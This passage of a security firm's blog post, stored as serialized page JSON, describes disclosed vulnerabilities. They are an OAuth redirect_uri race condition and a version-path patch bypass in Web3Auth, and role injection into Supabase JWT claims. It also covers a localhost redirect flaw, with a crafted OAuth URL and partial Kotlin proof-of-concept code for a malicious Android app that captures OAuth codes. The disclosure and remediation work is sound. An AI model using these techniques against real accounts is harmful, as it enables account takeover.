",{"type":19,"tag":269,"props":67219,"children":67222},{"href":67220,"rel":67221},"https://portswigger.net/web-security/race-conditions",[273],[67223],{"type":24,"value":67224},"race condition",{"type":24,"value":67226},", an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":19,"tag":27,"props":67228,"children":67230},{"className":67229},[],[67231],{"type":24,"value":67142},{"type":24,"value":67233}," but with modified malicious parameters.",{"type":19,"tag":20,"props":67235,"children":67236},{},[67237],{"type":19,"tag":51,"props":67238,"children":67239},{},[67240],{"type":24,"value":67241},"What can be modified to achieve something impactful?",{"type":19,"tag":20,"props":67243,"children":67244},{},[67245,67247,67253,67255,67260],{"type":24,"value":67246},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":19,"tag":27,"props":67248,"children":67250},{"className":67249},[],[67251],{"type":24,"value":67252},"redirect_uri",{"type":24,"value":67254}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":19,"tag":27,"props":67256,"children":67258},{"className":67257},[],[67259],{"type":24,"value":67084},{"type":24,"value":948},{"type":19,"tag":20,"props":67262,"children":67263},{},[67264],{"type":19,"tag":1344,"props":67265,"children":67267},{"alt":48061,"src":67266},"/posts/web2-in-web3/image-3.png",[],{"type":19,"tag":20,"props":67269,"children":67270},{},[67271],{"type":24,"value":67272},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":19,"tag":7050,"props":67274,"children":67276},{"id":67275},"patch-bypass",[67277],{"type":24,"value":67278},"Patch & Bypass",{"type":19,"tag":20,"props":67280,"children":67281},{},[67282],{"type":24,"value":67283},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":19,"tag":20,"props":67285,"children":67286},{},[67287],{"type":24,"value":67288},"To bypass the fix we were able to change the version in the URL:",{"type":19,"tag":43,"props":67290,"children":67291},{},[67292,67303],{"type":19,"tag":47,"props":67293,"children":67294},{},[67295,67301],{"type":19,"tag":27,"props":67296,"children":67298},{"className":67297},[],[67299],{"type":24,"value":67300},"https://auth.web3auth.io/v8/start",{"type":24,"value":67302}," (latest version)",{"type":19,"tag":47,"props":67304,"children":67305},{},[67306,67312],{"type":19,"tag":27,"props":67307,"children":67309},{"className":67308},[],[67310],{"type":24,"value":67311},"https://auth.web3auth.io/v6/start",{"type":24,"value":67313}," (bypass)",{"type":19,"tag":20,"props":67315,"children":67316},{},[67317],{"type":24,"value":67318},"We reported this issue, and it was addressed just as quickly!",{"type":19,"tag":36,"props":67320,"children":67322},{"id":67321},"supabase-metadata-manipulation",[67323],{"type":24,"value":67324},"Supabase metadata manipulation",{"type":19,"tag":7050,"props":67326,"children":67328},{"id":67327},"supabase-authentication-flow",[67329],{"type":24,"value":67330},"Supabase Authentication flow",{"type":19,"tag":20,"props":67332,"children":67333},{},[67334,67341,67343,67350],{"type":19,"tag":269,"props":67335,"children":67338},{"href":67336,"rel":67337},"https://supabase.com/docs/guides/auth",[273],[67339],{"type":24,"value":67340},"Supabase",{"type":24,"value":67342}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":19,"tag":269,"props":67344,"children":67347},{"href":67345,"rel":67346},"https://jwt.io/",[273],[67348],{"type":24,"value":67349},"JWT",{"type":24,"value":67351}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":19,"tag":7050,"props":67353,"children":67355},{"id":67354},"jwt-verification",[67356],{"type":24,"value":67357},"JWT verification",{"type":19,"tag":20,"props":67359,"children":67360},{},[67361,67363,67368,67369,67375,67377,67383],{"type":24,"value":67362},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":19,"tag":27,"props":67364,"children":67366},{"className":67365},[],[67367],{"type":24,"value":67010},{"type":24,"value":8436},{"type":19,"tag":27,"props":67370,"children":67372},{"className":67371},[],[67373],{"type":24,"value":67374},"identity_data",{"type":24,"value":67376},", in a signup request by manipulating the input inside the ",{"type":19,"tag":27,"props":67378,"children":67380},{"className":67379},[],[67381],{"type":24,"value":67382},"\"data\": {}",{"type":24,"value":67384}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":19,"tag":20,"props":67386,"children":67387},{},[67388,67390,67396,67397,67403,67405,67411],{"type":24,"value":67389},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":19,"tag":27,"props":67391,"children":67393},{"className":67392},[],[67394],{"type":24,"value":67395},"\"role\": \"admin\"",{"type":24,"value":10579},{"type":19,"tag":27,"props":67398,"children":67400},{"className":67399},[],[67401],{"type":24,"value":67402},"\"email_verified\": true",{"type":24,"value":67404},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":19,"tag":27,"props":67406,"children":67408},{"className":67407},[],[67409],{"type":24,"value":67410},"\"test\": \"test\"",{"type":24,"value":67412},", enabling us to inject arbitrary data into the final JWT token.",{"type":19,"tag":20,"props":67414,"children":67415},{},[67416],{"type":19,"tag":1344,"props":67417,"children":67419},{"alt":48061,"src":67418},"/posts/web2-in-web3/image-4.png",[],{"type":19,"tag":20,"props":67421,"children":67422},{},[67423],{"type":24,"value":67424},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":19,"tag":20,"props":67426,"children":67427},{},[67428],{"type":24,"value":67429},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":19,"tag":158,"props":67431,"children":67433},{"className":28835,"code":67432,"language":28837,"meta":7,"style":7},"function parseSupaBase(token) {\n try {\n const [header, payload, signature] = token.split('.');\n const decodedHeader = JSON.parse(atob(header));\n const decodedPayload = JSON.parse(atob(payload));\n return { header: decodedHeader, payload: decodedPayload, signature };\n } catch (error) {\n console.error('Error parsing token:', error);\n return null;\n }\n}\n",[67434],{"type":19,"tag":27,"props":67435,"children":67436},{"__ignoreMap":7},[67437,67462,67474,67543,67592,67640,67685,67708,67745,67761,67768],{"type":19,"tag":168,"props":67438,"children":67439},{"class":170,"line":171},[67440,67444,67449,67453,67458],{"type":19,"tag":168,"props":67441,"children":67442},{"style":382},[67443],{"type":24,"value":28849},{"type":19,"tag":168,"props":67445,"children":67446},{"style":175},[67447],{"type":24,"value":67448}," parseSupaBase",{"type":19,"tag":168,"props":67450,"children":67451},{"style":212},[67452],{"type":24,"value":500},{"type":19,"tag":168,"props":67454,"children":67455},{"style":393},[67456],{"type":24,"value":67457},"token",{"type":19,"tag":168,"props":67459,"children":67460},{"style":212},[67461],{"type":24,"value":12250},{"type":19,"tag":168,"props":67463,"children":67464},{"class":170,"line":198},[67465,67470],{"type":19,"tag":168,"props":67466,"children":67467},{"style":419},[67468],{"type":24,"value":67469}," try",{"type":19,"tag":168,"props":67471,"children":67472},{"style":212},[67473],{"type":24,"value":691},{"type":19,"tag":168,"props":67475,"children":67476},{"class":170,"line":415},[67477,67481,67485,67490,67494,67499,67503,67508,67512,67516,67521,67525,67530,67534,67539],{"type":19,"tag":168,"props":67478,"children":67479},{"style":382},[67480],{"type":24,"value":30374},{"type":19,"tag":168,"props":67482,"children":67483},{"style":212},[67484],{"type":24,"value":20488},{"type":19,"tag":168,"props":67486,"children":67487},{"style":393},[67488],{"type":24,"value":67489},"header",{"type":19,"tag":168,"props":67491,"children":67492},{"style":212},[67493],{"type":24,"value":471},{"type":19,"tag":168,"props":67495,"children":67496},{"style":393},[67497],{"type":24,"value":67498},"payload",{"type":19,"tag":168,"props":67500,"children":67501},{"style":212},[67502],{"type":24,"value":471},{"type":19,"tag":168,"props":67504,"children":67505},{"style":393},[67506],{"type":24,"value":67507},"signature",{"type":19,"tag":168,"props":67509,"children":67510},{"style":212},[67511],{"type":24,"value":6099},{"type":19,"tag":168,"props":67513,"children":67514},{"style":399},[67515],{"type":24,"value":486},{"type":19,"tag":168,"props":67517,"children":67518},{"style":393},[67519],{"type":24,"value":67520}," token",{"type":19,"tag":168,"props":67522,"children":67523},{"style":212},[67524],{"type":24,"value":948},{"type":19,"tag":168,"props":67526,"children":67527},{"style":175},[67528],{"type":24,"value":67529},"split",{"type":19,"tag":168,"props":67531,"children":67532},{"style":212},[67533],{"type":24,"value":500},{"type":19,"tag":168,"props":67535,"children":67536},{"style":181},[67537],{"type":24,"value":67538},"'.'",{"type":19,"tag":168,"props":67540,"children":67541},{"style":212},[67542],{"type":24,"value":1249},{"type":19,"tag":168,"props":67544,"children":67545},{"class":170,"line":450},[67546,67550,67555,67559,67563,67567,67571,67575,67580,67584,67588],{"type":19,"tag":168,"props":67547,"children":67548},{"style":382},[67549],{"type":24,"value":30374},{"type":19,"tag":168,"props":67551,"children":67552},{"style":393},[67553],{"type":24,"value":67554}," decodedHeader",{"type":19,"tag":168,"props":67556,"children":67557},{"style":399},[67558],{"type":24,"value":402},{"type":19,"tag":168,"props":67560,"children":67561},{"style":393},[67562],{"type":24,"value":35003},{"type":19,"tag":168,"props":67564,"children":67565},{"style":212},[67566],{"type":24,"value":948},{"type":19,"tag":168,"props":67568,"children":67569},{"style":175},[67570],{"type":24,"value":36687},{"type":19,"tag":168,"props":67572,"children":67573},{"style":212},[67574],{"type":24,"value":500},{"type":19,"tag":168,"props":67576,"children":67577},{"style":175},[67578],{"type":24,"value":67579},"atob",{"type":19,"tag":168,"props":67581,"children":67582},{"style":212},[67583],{"type":24,"value":500},{"type":19,"tag":168,"props":67585,"children":67586},{"style":393},[67587],{"type":24,"value":67489},{"type":19,"tag":168,"props":67589,"children":67590},{"style":212},[67591],{"type":24,"value":4659},{"type":19,"tag":168,"props":67593,"children":67594},{"class":170,"line":560},[67595,67599,67604,67608,67612,67616,67620,67624,67628,67632,67636],{"type":19,"tag":168,"props":67596,"children":67597},{"style":382},[67598],{"type":24,"value":30374},{"type":19,"tag":168,"props":67600,"children":67601},{"style":393},[67602],{"type":24,"value":67603}," decodedPayload",{"type":19,"tag":168,"props":67605,"children":67606},{"style":399},[67607],{"type":24,"value":402},{"type":19,"tag":168,"props":67609,"children":67610},{"style":393},[67611],{"type":24,"value":35003},{"type":19,"tag":168,"props":67613,"children":67614},{"style":212},[67615],{"type":24,"value":948},{"type":19,"tag":168,"props":67617,"children":67618},{"style":175},[67619],{"type":24,"value":36687},{"type":19,"tag":168,"props":67621,"children":67622},{"style":212},[67623],{"type":24,"value":500},{"type":19,"tag":168,"props":67625,"children":67626},{"style":175},[67627],{"type":24,"value":67579},{"type":19,"tag":168,"props":67629,"children":67630},{"style":212},[67631],{"type":24,"value":500},{"type":19,"tag":168,"props":67633,"children":67634},{"style":393},[67635],{"type":24,"value":67498},{"type":19,"tag":168,"props":67637,"children":67638},{"style":212},[67639],{"type":24,"value":4659},{"type":19,"tag":168,"props":67641,"children":67642},{"class":170,"line":666},[67643,67647,67651,67656,67660,67664,67669,67673,67677,67681],{"type":19,"tag":168,"props":67644,"children":67645},{"style":419},[67646],{"type":24,"value":13192},{"type":19,"tag":168,"props":67648,"children":67649},{"style":212},[67650],{"type":24,"value":7027},{"type":19,"tag":168,"props":67652,"children":67653},{"style":393},[67654],{"type":24,"value":67655},"header:",{"type":19,"tag":168,"props":67657,"children":67658},{"style":393},[67659],{"type":24,"value":67554},{"type":19,"tag":168,"props":67661,"children":67662},{"style":212},[67663],{"type":24,"value":471},{"type":19,"tag":168,"props":67665,"children":67666},{"style":393},[67667],{"type":24,"value":67668},"payload:",{"type":19,"tag":168,"props":67670,"children":67671},{"style":393},[67672],{"type":24,"value":67603},{"type":19,"tag":168,"props":67674,"children":67675},{"style":212},[67676],{"type":24,"value":471},{"type":19,"tag":168,"props":67678,"children":67679},{"style":393},[67680],{"type":24,"value":67507},{"type":19,"tag":168,"props":67682,"children":67683},{"style":212},[67684],{"type":24,"value":15750},{"type":19,"tag":168,"props":67686,"children":67687},{"class":170,"line":694},[67688,67692,67696,67700,67704],{"type":19,"tag":168,"props":67689,"children":67690},{"style":212},[67691],{"type":24,"value":13227},{"type":19,"tag":168,"props":67693,"children":67694},{"style":419},[67695],{"type":24,"value":45893},{"type":19,"tag":168,"props":67697,"children":67698},{"style":212},[67699],{"type":24,"value":461},{"type":19,"tag":168,"props":67701,"children":67702},{"style":393},[67703],{"type":24,"value":12310},{"type":19,"tag":168,"props":67705,"children":67706},{"style":212},[67707],{"type":24,"value":12250},{"type":19,"tag":168,"props":67709,"children":67710},{"class":170,"line":707},[67711,67716,67720,67724,67728,67733,67737,67741],{"type":19,"tag":168,"props":67712,"children":67713},{"style":393},[67714],{"type":24,"value":67715}," console",{"type":19,"tag":168,"props":67717,"children":67718},{"style":212},[67719],{"type":24,"value":948},{"type":19,"tag":168,"props":67721,"children":67722},{"style":175},[67723],{"type":24,"value":12310},{"type":19,"tag":168,"props":67725,"children":67726},{"style":212},[67727],{"type":24,"value":500},{"type":19,"tag":168,"props":67729,"children":67730},{"style":181},[67731],{"type":24,"value":67732},"'Error parsing token:'",{"type":19,"tag":168,"props":67734,"children":67735},{"style":212},[67736],{"type":24,"value":471},{"type":19,"tag":168,"props":67738,"children":67739},{"style":393},[67740],{"type":24,"value":12310},{"type":19,"tag":168,"props":67742,"children":67743},{"style":212},[67744],{"type":24,"value":1249},{"type":19,"tag":168,"props":67746,"children":67747},{"class":170,"line":725},[67748,67752,67757],{"type":19,"tag":168,"props":67749,"children":67750},{"style":419},[67751],{"type":24,"value":13192},{"type":19,"tag":168,"props":67753,"children":67754},{"style":382},[67755],{"type":24,"value":67756}," null",{"type":19,"tag":168,"props":67758,"children":67759},{"style":212},[67760],{"type":24,"value":412},{"type":19,"tag":168,"props":67762,"children":67763},{"class":170,"line":746},[67764],{"type":19,"tag":168,"props":67765,"children":67766},{"style":212},[67767],{"type":24,"value":761},{"type":19,"tag":168,"props":67769,"children":67770},{"class":170,"line":755},[67771],{"type":19,"tag":168,"props":67772,"children":67773},{"style":212},[67774],{"type":24,"value":1326},{"type":19,"tag":7050,"props":67776,"children":67777},{"id":37809},[67778],{"type":24,"value":37812},{"type":19,"tag":20,"props":67780,"children":67781},{},[67782,67784,67791,67793,67799],{"type":24,"value":67783},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":19,"tag":269,"props":67785,"children":67788},{"href":67786,"rel":67787},"https://supabase.com/docs/guides/database/postgres/row-level-security",[273],[67789],{"type":24,"value":67790},"Row-Level Security",{"type":24,"value":67792}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":19,"tag":27,"props":67794,"children":67796},{"className":67795},[],[67797],{"type":24,"value":67798},"app_metadata",{"type":24,"value":67800},". These fields must be strictly validated at every step of their creation and update processes.",{"type":19,"tag":36,"props":67802,"children":67804},{"id":67803},"oauth-in-development-environments",[67805],{"type":24,"value":67806},"OAuth in development environments",{"type":19,"tag":20,"props":67808,"children":67809},{},[67810,67812,67819,67821,67826],{"type":24,"value":67811},"After watching a ",{"type":19,"tag":269,"props":67813,"children":67816},{"href":67814,"rel":67815},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[273],[67817],{"type":24,"value":67818},"talk",{"type":24,"value":67820}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":19,"tag":27,"props":67822,"children":67824},{"className":67823},[],[67825],{"type":24,"value":67252},{"type":24,"value":67827}," parameter during the OAuth flow.",{"type":19,"tag":20,"props":67829,"children":67830},{},[67831,67833,67840],{"type":24,"value":67832},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":19,"tag":269,"props":67834,"children":67837},{"href":67835,"rel":67836},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[273],[67838],{"type":24,"value":67839},"Remote Code Execution",{"type":24,"value":67841}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":19,"tag":20,"props":67843,"children":67844},{},[67845,67847,67853],{"type":24,"value":67846},"In one of our client's implementations, we identified that ",{"type":19,"tag":27,"props":67848,"children":67850},{"className":67849},[],[67851],{"type":24,"value":67852},"localhost:3000",{"type":24,"value":67854}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":19,"tag":20,"props":67856,"children":67857},{},[67858],{"type":24,"value":67859},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":19,"tag":158,"props":67861,"children":67865},{"className":67862,"code":67863,"language":67864,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[67866],{"type":19,"tag":27,"props":67867,"children":67868},{"__ignoreMap":7},[67869],{"type":19,"tag":168,"props":67870,"children":67871},{"class":170,"line":171},[67872],{"type":19,"tag":168,"props":67873,"children":67874},{},[67875],{"type":24,"value":67863},{"type":19,"tag":20,"props":67877,"children":67878},{},[67879],{"type":24,"value":67880},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":19,"tag":158,"props":67882,"children":67886},{"className":67883,"code":67884,"language":67885,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.search;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n}\n","kotlin",[67887],{"type":19,"tag":27,"props":67888,"children":67889},{"__ignoreMap":7},[67890,67917,67924,67956,67978,67985,67993,68015,68027,68039,68074,68100,68150,68157,68164,68171,68179,68201,68236,68249,68256,68263,68284,68310,68322,68343,68360,68372,68398,68437,68458,68466,68478,68503,68515,68528,68536,68543,68551,68559,68566,68596,68603],{"type":19,"tag":168,"props":67891,"children":67892},{"class":170,"line":171},[67893,67898,67903,67908,67913],{"type":19,"tag":168,"props":67894,"children":67895},{"style":382},[67896],{"type":24,"value":67897},"class",{"type":19,"tag":168,"props":67899,"children":67900},{"style":825},[67901],{"type":24,"value":67902}," MainActivity",{"type":19,"tag":168,"props":67904,"children":67905},{"style":212},[67906],{"type":24,"value":67907}," : ",{"type":19,"tag":168,"props":67909,"children":67910},{"style":825},[67911],{"type":24,"value":67912},"AppCompatActivity",{"type":19,"tag":168,"props":67914,"children":67915},{"style":212},[67916],{"type":24,"value":13184},{"type":19,"tag":168,"props":67918,"children":67919},{"class":170,"line":198},[67920],{"type":19,"tag":168,"props":67921,"children":67922},{"emptyLinePlaceholder":14},[67923],{"type":24,"value":1093},{"type":19,"tag":168,"props":67925,"children":67926},{"class":170,"line":415},[67927,67932,67936,67941,67946,67951],{"type":19,"tag":168,"props":67928,"children":67929},{"style":382},[67930],{"type":24,"value":67931}," override",{"type":19,"tag":168,"props":67933,"children":67934},{"style":382},[67935],{"type":24,"value":3642},{"type":19,"tag":168,"props":67937,"children":67938},{"style":175},[67939],{"type":24,"value":67940}," onCreate",{"type":19,"tag":168,"props":67942,"children":67943},{"style":212},[67944],{"type":24,"value":67945},"(savedInstanceState: ",{"type":19,"tag":168,"props":67947,"children":67948},{"style":825},[67949],{"type":24,"value":67950},"Bundle",{"type":19,"tag":168,"props":67952,"children":67953},{"style":212},[67954],{"type":24,"value":67955},"?) {\n",{"type":19,"tag":168,"props":67957,"children":67958},{"class":170,"line":450},[67959,67964,67968,67973],{"type":19,"tag":168,"props":67960,"children":67961},{"style":382},[67962],{"type":24,"value":67963}," super",{"type":19,"tag":168,"props":67965,"children":67966},{"style":212},[67967],{"type":24,"value":948},{"type":19,"tag":168,"props":67969,"children":67970},{"style":175},[67971],{"type":24,"value":67972},"onCreate",{"type":19,"tag":168,"props":67974,"children":67975},{"style":212},[67976],{"type":24,"value":67977},"(savedInstanceState)\n",{"type":19,"tag":168,"props":67979,"children":67980},{"class":170,"line":560},[67981],{"type":19,"tag":168,"props":67982,"children":67983},{"emptyLinePlaceholder":14},[67984],{"type":24,"value":1093},{"type":19,"tag":168,"props":67986,"children":67987},{"class":170,"line":666},[67988],{"type":19,"tag":168,"props":67989,"children":67990},{"style":373},[67991],{"type":24,"value":67992}," // Start the Ktor web server\n",{"type":19,"tag":168,"props":67994,"children":67995},{"class":170,"line":694},[67996,68001,68006,68011],{"type":19,"tag":168,"props":67997,"children":67998},{"style":175},[67999],{"type":24,"value":68000}," CoroutineScope",{"type":19,"tag":168,"props":68002,"children":68003},{"style":212},[68004],{"type":24,"value":68005},"(Dispatchers.IO).",{"type":19,"tag":168,"props":68007,"children":68008},{"style":175},[68009],{"type":24,"value":68010},"launch",{"type":19,"tag":168,"props":68012,"children":68013},{"style":212},[68014],{"type":24,"value":691},{"type":19,"tag":168,"props":68016,"children":68017},{"class":170,"line":707},[68018,68023],{"type":19,"tag":168,"props":68019,"children":68020},{"style":419},[68021],{"type":24,"value":68022}," try",{"type":19,"tag":168,"props":68024,"children":68025},{"style":212},[68026],{"type":24,"value":691},{"type":19,"tag":168,"props":68028,"children":68029},{"class":170,"line":725},[68030,68035],{"type":19,"tag":168,"props":68031,"children":68032},{"style":175},[68033],{"type":24,"value":68034}," startWebServer",{"type":19,"tag":168,"props":68036,"children":68037},{"style":212},[68038],{"type":24,"value":5172},{"type":19,"tag":168,"props":68040,"children":68041},{"class":170,"line":746},[68042,68047,68052,68056,68061,68065,68070],{"type":19,"tag":168,"props":68043,"children":68044},{"style":212},[68045],{"type":24,"value":68046}," Log.",{"type":19,"tag":168,"props":68048,"children":68049},{"style":175},[68050],{"type":24,"value":68051},"d",{"type":19,"tag":168,"props":68053,"children":68054},{"style":212},[68055],{"type":24,"value":500},{"type":19,"tag":168,"props":68057,"children":68058},{"style":181},[68059],{"type":24,"value":68060},"\"WebServer\"",{"type":19,"tag":168,"props":68062,"children":68063},{"style":212},[68064],{"type":24,"value":471},{"type":19,"tag":168,"props":68066,"children":68067},{"style":181},[68068],{"type":24,"value":68069},"\"Server started on http://localhost:3000\"",{"type":19,"tag":168,"props":68071,"children":68072},{"style":212},[68073],{"type":24,"value":557},{"type":19,"tag":168,"props":68075,"children":68076},{"class":170,"line":755},[68077,68082,68086,68091,68096],{"type":19,"tag":168,"props":68078,"children":68079},{"style":212},[68080],{"type":24,"value":68081}," } ",{"type":19,"tag":168,"props":68083,"children":68084},{"style":382},[68085],{"type":24,"value":45893},{"type":19,"tag":168,"props":68087,"children":68088},{"style":212},[68089],{"type":24,"value":68090}," (e: ",{"type":19,"tag":168,"props":68092,"children":68093},{"style":825},[68094],{"type":24,"value":68095},"Exception",{"type":19,"tag":168,"props":68097,"children":68098},{"style":212},[68099],{"type":24,"value":12250},{"type":19,"tag":168,"props":68101,"children":68102},{"class":170,"line":1008},[68103,68107,68111,68115,68119,68123,68128,68132,68137,68141,68145],{"type":19,"tag":168,"props":68104,"children":68105},{"style":212},[68106],{"type":24,"value":68046},{"type":19,"tag":168,"props":68108,"children":68109},{"style":175},[68110],{"type":24,"value":48937},{"type":19,"tag":168,"props":68112,"children":68113},{"style":212},[68114],{"type":24,"value":500},{"type":19,"tag":168,"props":68116,"children":68117},{"style":181},[68118],{"type":24,"value":68060},{"type":19,"tag":168,"props":68120,"children":68121},{"style":212},[68122],{"type":24,"value":471},{"type":19,"tag":168,"props":68124,"children":68125},{"style":181},[68126],{"type":24,"value":68127},"\"Error starting server: ",{"type":19,"tag":168,"props":68129,"children":68130},{"style":382},[68131],{"type":24,"value":31582},{"type":19,"tag":168,"props":68133,"children":68134},{"style":399},[68135],{"type":24,"value":68136},"e.message",{"type":19,"tag":168,"props":68138,"children":68139},{"style":382},[68140],{"type":24,"value":31614},{"type":19,"tag":168,"props":68142,"children":68143},{"style":181},[68144],{"type":24,"value":17514},{"type":19,"tag":168,"props":68146,"children":68147},{"style":212},[68148],{"type":24,"value":68149},", e)\n",{"type":19,"tag":168,"props":68151,"children":68152},{"class":170,"line":1025},[68153],{"type":19,"tag":168,"props":68154,"children":68155},{"style":212},[68156],{"type":24,"value":56369},{"type":19,"tag":168,"props":68158,"children":68159},{"class":170,"line":1042},[68160],{"type":19,"tag":168,"props":68161,"children":68162},{"style":212},[68163],{"type":24,"value":752},{"type":19,"tag":168,"props":68165,"children":68166},{"class":170,"line":1055},[68167],{"type":19,"tag":168,"props":68168,"children":68169},{"emptyLinePlaceholder":14},[68170],{"type":24,"value":1093},{"type":19,"tag":168,"props":68172,"children":68173},{"class":170,"line":1064},[68174],{"type":19,"tag":168,"props":68175,"children":68176},{"style":373},[68177],{"type":24,"value":68178}," // Open the Google OAuth page\n",{"type":19,"tag":168,"props":68180,"children":68181},{"class":170,"line":1087},[68182,68187,68192,68196],{"type":19,"tag":168,"props":68183,"children":68184},{"style":382},[68185],{"type":24,"value":68186}," val",{"type":19,"tag":168,"props":68188,"children":68189},{"style":212},[68190],{"type":24,"value":68191}," googleOAuthUrl ",{"type":19,"tag":168,"props":68193,"children":68194},{"style":399},[68195],{"type":24,"value":486},{"type":19,"tag":168,"props":68197,"children":68198},{"style":181},[68199],{"type":24,"value":68200}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":19,"tag":168,"props":68202,"children":68203},{"class":170,"line":1096},[68204,68208,68213,68217,68222,68227,68231],{"type":19,"tag":168,"props":68205,"children":68206},{"style":382},[68207],{"type":24,"value":68186},{"type":19,"tag":168,"props":68209,"children":68210},{"style":212},[68211],{"type":24,"value":68212}," browserIntent ",{"type":19,"tag":168,"props":68214,"children":68215},{"style":399},[68216],{"type":24,"value":486},{"type":19,"tag":168,"props":68218,"children":68219},{"style":175},[68220],{"type":24,"value":68221}," Intent",{"type":19,"tag":168,"props":68223,"children":68224},{"style":212},[68225],{"type":24,"value":68226},"(Intent.ACTION_VIEW, Uri.",{"type":19,"tag":168,"props":68228,"children":68229},{"style":175},[68230],{"type":24,"value":36687},{"type":19,"tag":168,"props":68232,"children":68233},{"style":212},[68234],{"type":24,"value":68235},"(googleOAuthUrl))\n",{"type":19,"tag":168,"props":68237,"children":68238},{"class":170,"line":1105},[68239,68244],{"type":19,"tag":168,"props":68240,"children":68241},{"style":175},[68242],{"type":24,"value":68243}," startActivity",{"type":19,"tag":168,"props":68245,"children":68246},{"style":212},[68247],{"type":24,"value":68248},"(browserIntent)\n",{"type":19,"tag":168,"props":68250,"children":68251},{"class":170,"line":1174},[68252],{"type":19,"tag":168,"props":68253,"children":68254},{"style":212},[68255],{"type":24,"value":761},{"type":19,"tag":168,"props":68257,"children":68258},{"class":170,"line":1182},[68259],{"type":19,"tag":168,"props":68260,"children":68261},{"emptyLinePlaceholder":14},[68262],{"type":24,"value":1093},{"type":19,"tag":168,"props":68264,"children":68265},{"class":170,"line":1212},[68266,68271,68275,68280],{"type":19,"tag":168,"props":68267,"children":68268},{"style":382},[68269],{"type":24,"value":68270}," private",{"type":19,"tag":168,"props":68272,"children":68273},{"style":382},[68274],{"type":24,"value":3642},{"type":19,"tag":168,"props":68276,"children":68277},{"style":175},[68278],{"type":24,"value":68279}," 